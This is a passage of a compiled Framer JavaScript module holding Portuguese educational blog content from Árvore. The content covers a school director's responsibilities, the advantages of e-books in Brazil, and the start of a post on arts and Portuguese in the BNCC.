\",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/escola-segura\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"ambiente seguro\"})}),\" \\xe9 essencial para o processo cotidiano de ensino-aprendizagem e para o bem-estar de quem frequenta a escola. O diretor escolar tem um papel-chave na defini\\xe7\\xe3o e coordena\\xe7\\xe3o das estrat\\xe9gias que a sua comunidade escolar mais precisa.\\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"As a\\xe7\\xf5es em prol de uma escola mais segura v\\xe3o desde a implementa\\xe7\\xe3o de pol\\xedticas de preven\\xe7\\xe3o ao \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/atividades-sobre-bullying\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"bullying\"})}),\", at\\xe9 planos e fluxos de encaminhamentos em caso de emerg\\xeancias de sa\\xfade mental, viol\\xeancia ou acidentes.\\xa0\"]}),/*#__PURE__*/e(\"ol\",{start:\"4\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o curricular e de planejamento pedag\\xf3gico\"})})})}),/*#__PURE__*/e(\"p\",{children:\"Na dimens\\xe3o pedag\\xf3gica, o diretor escolar \\xe9 o respons\\xe1vel por coordenar a cria\\xe7\\xe3o, a revis\\xe3o e os ajustes do curr\\xedculo escolar de acordo com o plano pol\\xedtico pedag\\xf3gico da escola.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Ele \\xe9 a lideran\\xe7a que orienta a equipe pedag\\xf3gica na estrutura\\xe7\\xe3o de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/etapas-do-planejamento-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"planejamentos\"})}),\" e m\\xe9todos de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/importancia-da-avaliacao-qualitativa-no-cotidiano-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"avalia\\xe7\\xe3o\"})}),\", n\\xe3o perdendo de vista o compromisso da escola com o processo de ensino e aprendizagem.\"]}),/*#__PURE__*/e(\"ol\",{start:\"5\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Forma\\xe7\\xe3o de professores\"})})})}),/*#__PURE__*/a(\"p\",{children:[\"Educadores preparados e motivados s\\xe3o aqueles que est\\xe3o em constante forma\\xe7\\xe3o! Promover um ambiente de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/importancia-formacao-continuada-professores\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"forma\\xe7\\xe3o continuada\"})}),\" garante que as din\\xe2micas e pr\\xe1ticas pedag\\xf3gicas se atualizem, inovando todo o processo de ensino.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"O diretor escolar oportuniza, ainda, hor\\xe1rios para forma\\xe7\\xe3o da equipe, fomenta pesquisas internas, faz a ponte com universidades locais, cursos, grupos de estudos e demais programas de desenvolvimento profissional para o corpo docente.\"}),/*#__PURE__*/e(\"ol\",{start:\"6\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Manuten\\xe7\\xe3o do clima escolar\"})})})}),/*#__PURE__*/a(\"p\",{children:[\"A cultura e o \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/clima-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"clima escolar\"})}),\" envolvem muitos aspectos, desde a manuten\\xe7\\xe3o da estrutura f\\xedsica da institui\\xe7\\xe3o at\\xe9 as rela\\xe7\\xf5es entre os membros da comunidade. Um clima escolar harmonioso \\xe9 de suma import\\xe2ncia para que o processo educativo aconte\\xe7a da melhor forma.\"]}),/*#__PURE__*/e(\"p\",{children:\"O diretor escolar estrutura os processos para viabilizar um senso de integra\\xe7\\xe3o na escola. Esses processos incluem pesquisas regulares de diagn\\xf3stico para avaliar o clima e planos de a\\xe7\\xe3o para orientar a promo\\xe7\\xe3o de uma cultura colaborativa.\"}),/*#__PURE__*/e(\"ol\",{start:\"7\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o administrativa-financeira\"})})})}),/*#__PURE__*/a(\"p\",{children:[\"A \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gestao-administrativa-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"gest\\xe3o administrativa-financeira\"})}),\" \\xe9 a base para todos os processos operacionais de uma institui\\xe7\\xe3o. No caso da escola, o diretor \\xe9 o respons\\xe1vel pela gest\\xe3o desses recursos.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"O trabalho cotidiano inclui a\\xe7\\xf5es como a realiza\\xe7\\xe3o de or\\xe7amentos, a aloca\\xe7\\xe3o de recursos para a manuten\\xe7\\xe3o do espa\\xe7o f\\xedsico da escola, a contrata\\xe7\\xe3o de equipe e a presta\\xe7\\xe3o de contas.\"}),/*#__PURE__*/e(\"ol\",{start:\"8\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o de crise\"})})})}),/*#__PURE__*/e(\"p\",{children:\"A escola \\xe9 um espa\\xe7o repleto de ideias plurais e diferen\\xe7as. Por isso, contradi\\xe7\\xf5es e conflitos s\\xe3o esperados.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"O diretor escolar tamb\\xe9m atua como mediador em \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gestao-de-crise-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"momentos de crise\"})}),\". \\xc9 ele o respons\\xe1vel por viabilizar o di\\xe1logo \u2013 e tamb\\xe9m os fluxos e processos de enfrentamento e preven\\xe7\\xe3o de situa\\xe7\\xf5es adversas, evitando que elas causem danos \\xe0 escola e ao seu funcionamento.\"]}),/*#__PURE__*/e(\"ol\",{start:\"9\",children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o de pessoas\"})})})}),/*#__PURE__*/e(\"p\",{children:\"Na dimens\\xe3o pessoal e relacional, o diretor \\xe9 aquele que apoia a equipe, fomentando a empatia e o respeito no ambiente de trabalho.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"O diretor escolar exerce a fun\\xe7\\xe3o de l\\xedder, comunicando-se de forma \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/comunicacao-nao-violenta-na-escola\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"n\\xe3o-violenta\"})}),\", lidando com conflitos de forma respons\\xe1vel e comprometendo-se com o desenvolvimento das suas habilidades de lideran\\xe7a.\"]}),/*#__PURE__*/a(\"p\",{children:[\"Gestor, esperamos que o post de hoje tenha apoiado a sua pesquisa sobre o papel do diretor escolar. Para se aprofundar na tem\\xe1tica, confira tamb\\xe9m o nosso post \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gestao-escolar-guia-completo\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"em\",{children:\"O que \\xe9 gest\\xe3o escolar? O guia completo\"})})}),\". \"]}),/*#__PURE__*/e(\"p\",{children:\"At\\xe9 a pr\\xf3xima!\"})]});export const richText19=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Os h\\xe1bitos de leitura costumam variar para cada cultura ao redor do mundo. No caso brasileiro, ainda h\\xe1 um longo caminho a ser tra\\xe7ado para engajar novos leitores no universo das letras. No entanto, a leitura tem conquistado uma nova possibilidade de ganhar destaque no cotidiano das pessoas. Trata-se dos livros digitais (ou e-books), que chegaram ao mercado nacional em 2012 e avan\\xe7am no n\\xfamero de usu\\xe1rios gradativamente com o passar dos anos.Descubra como o livro digital pode contribuir para tornar a sua leitura ainda mais din\\xe2mica.\"}),/*#__PURE__*/e(\"h2\",{children:\"Vantagens dos livros digitais\"}),/*#__PURE__*/e(\"p\",{children:\"Entre as qualidades de se ler em e-books pode ser ressaltado o fato de que h\\xe1 uma economia verde sendo incentivada atrav\\xe9s da redu\\xe7\\xe3o no n\\xfamero de impress\\xf5es em papel pelas editoras, o que pode ser uma via de acesso aos consumidores ecologicamente respons\\xe1veis.Mas em termos da interface dos dispositivos de leitura tamb\\xe9m ocorreram ganhos significativos, como:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"A possibilidade de acessar links dentro do texto que remetam a p\\xe1ginas da internet com conte\\xfado relacionado;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"O mecanismo de anota\\xe7\\xf5es paralelas e marcadores de leitura virtuais;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Ajuste eletr\\xf4nico de tamanho da fonte;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Amplia\\xe7\\xe3o de p\\xe1ginas.\"})})]}),/*#__PURE__*/e(\"p\",{children:\"Essas s\\xe3o apenas algumas das vantagens que comp\\xf5em os recursos multim\\xeddia desenvolvidos especialmente para o uso dos livros digitais por um p\\xfablico amplo. Em termos monet\\xe1rios, o e-book tamb\\xe9m se tornou uma op\\xe7\\xe3o vantajosa. Os pre\\xe7os desse tipo de livro s\\xe3o consideravelmente mais baixos no mercado editorial, j\\xe1 que a elimina\\xe7\\xe3o do uso do papel, como j\\xe1 citado, elimina os custos de produ\\xe7\\xe3o e enxuga o processo produtivo, levando no fim da cadeia a uma economia expressiva por parte do consumidor final.\"}),/*#__PURE__*/e(\"h2\",{children:\"Resist\\xeancia de leitores\"}),/*#__PURE__*/e(\"p\",{children:\"Ainda h\\xe1 leitores resistentes, apegados \\xe0 sensa\\xe7\\xe3o agrad\\xe1vel de virar p\\xe1ginas e manusear um livro tradicional. Tal nostalgia tem feito com que web designers desenvolvam algumas inova\\xe7\\xf5es para a leitura dos livros em plataformas como tablets e smartphones. J\\xe1 \\xe9 poss\\xedvel encontrar no mercado arquivos de livros com a possibilidade de rolar p\\xe1ginas como num livro f\\xedsico, com tonalidades de cores pr\\xf3ximas ao real e diagrama\\xe7\\xe3o id\\xeantica a de um bom e velho livro de cabeceira. Tocar os leitores mais conservadores tem sido um intuito perseguido pelos desenvolvedores de tecnologias de leitura para provar que ler digitalmente pode ser agrad\\xe1vel e muito pr\\xe1tico. Imagine poder levar um dispositivo de leitura leve para qualquer lugar e a qualquer hora acess\\xe1-lo para continuar lendo seu livro, podendo ainda usufruir de conte\\xfados extras que incluem fotos, v\\xeddeos e textos relacionados. N\\xe3o tem como n\\xe3o gostar, n\\xe3o \\xe9 mesmo?\"}),/*#__PURE__*/e(\"h2\",{children:\"Avan\\xe7o de mercado\"}),/*#__PURE__*/e(\"p\",{children:\"Com o interesse do consumidor por novas m\\xeddias de leitura, o mercado pode se atualizar e trazer inova\\xe7\\xf5es do exterior, o que s\\xf3 fornece benef\\xedcios aos leitores que j\\xe1 aderiram ou esperam novos benef\\xedcios para come\\xe7ar a ler na tela. Os novos tipos de e-books t\\xeam trazido praticidade e iniciado uma cultura livresca para gera\\xe7\\xf5es criadas diante da tela do computador, o que se torna um passo a frente na populariza\\xe7\\xe3o do h\\xe1bito da leitura entre os mais jovens. Indo al\\xe9m, ler adquiriu novas conota\\xe7\\xf5es, trazendo um car\\xe1ter din\\xe2mico a um ato solit\\xe1rio. Por exemplo, j\\xe1 \\xe9 poss\\xedvel comprar livros digitais em sites que unem consumidores para contar experi\\xeancias de leitura e partilhar conhecimentos. Surge a\\xed um novo motivo para agregar pessoas em torno de uma boa hist\\xf3ria.\"})]});export const richText20=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Voc\\xea j\\xe1 pensou sobre os di\\xe1logos poss\\xedveis entre artes e l\\xedngua portuguesa? No texto de hoje, iremos refletir sobre esses dois componentes da \\xe1rea de Linguagens da BNCC e quais s\\xe3o as principais rela\\xe7\\xf5es entre eles. Ao final, deixamos algumas dicas de como trabalh\\xe1-los de forma interdisciplinar em sala de aula. Confira!\"}),/*#__PURE__*/e(\"h2\",{children:\"A \\xe1rea de Linguagens na BNCC\"}),/*#__PURE__*/a(\"p\",{children:[\"De acordo com a \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/abase/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\", as atividades humanas realizam-se nas pr\\xe1ticas sociais, mediadas por diferentes \",/*#__PURE__*/e(\"em\",{children:\"linguagens\"}),\": a oral, a escrita, a corporal, a visual e a sonora. Por meio dessas \",/*#__PURE__*/e(\"em\",{children:\"pr\\xe1ticas de linguagem\"}),\", as pessoas interagem consigo mesmas e com os outros, constituindo-se como sujeitos sociais.\\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"A forma\\xe7\\xe3o integral de um indiv\\xedduo acontece no desenvolvimento das especificidades de cada uma dessas \",/*#__PURE__*/e(\"em\",{children:\"linguagens\"}),\", sem perder a vis\\xe3o dos contextos culturais nos quais elas est\\xe3o inseridas. Quando falamos de \",/*#__PURE__*/e(\"em\",{children:\"linguagens\"}),\", devemos ter em mente que elas s\\xe3o din\\xe2micas, e que todos n\\xf3s participamos desse processo de constante transforma\\xe7\\xe3o.\\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"A \\xe1rea de \",/*#__PURE__*/e(\"strong\",{children:\"Linguagens \"}),\"da BNCC \\xe9 composta pelos seguintes componentes curriculares: L\\xedngua Portuguesa, Arte, Educa\\xe7\\xe3o F\\xedsica e, nos Anos Finais, L\\xedngua Inglesa. Esses quatro componentes desenvolvem \",/*#__PURE__*/e(\"em\",{children:\"pr\\xe1ticas sociais de linguagem\"}),\" diversificadas, que permitem que os estudantes ampliem as suas capacidades expressivas em manifesta\\xe7\\xf5es art\\xedsticas, corporais e lingu\\xedsticas.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"A seguir, vamos nos aprofundar na rela\\xe7\\xe3o entre os componentes artes e l\\xedngua portuguesa.\"})]});\nexport const __FramerMetadata__ = {\"exports\":{\"richText17\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText1\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText6\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText2\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText12\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText3\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText8\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText13\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText4\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText19\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText14\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText10\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText16\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText5\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText20\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText18\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText15\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText11\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText9\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"richText7\":{\"type\":\"variable\",\"annotations\":{\"framerContractVersion\":\"1\"}},\"__FramerMetadata__\":{\"type\":\"variable\"}}}"],
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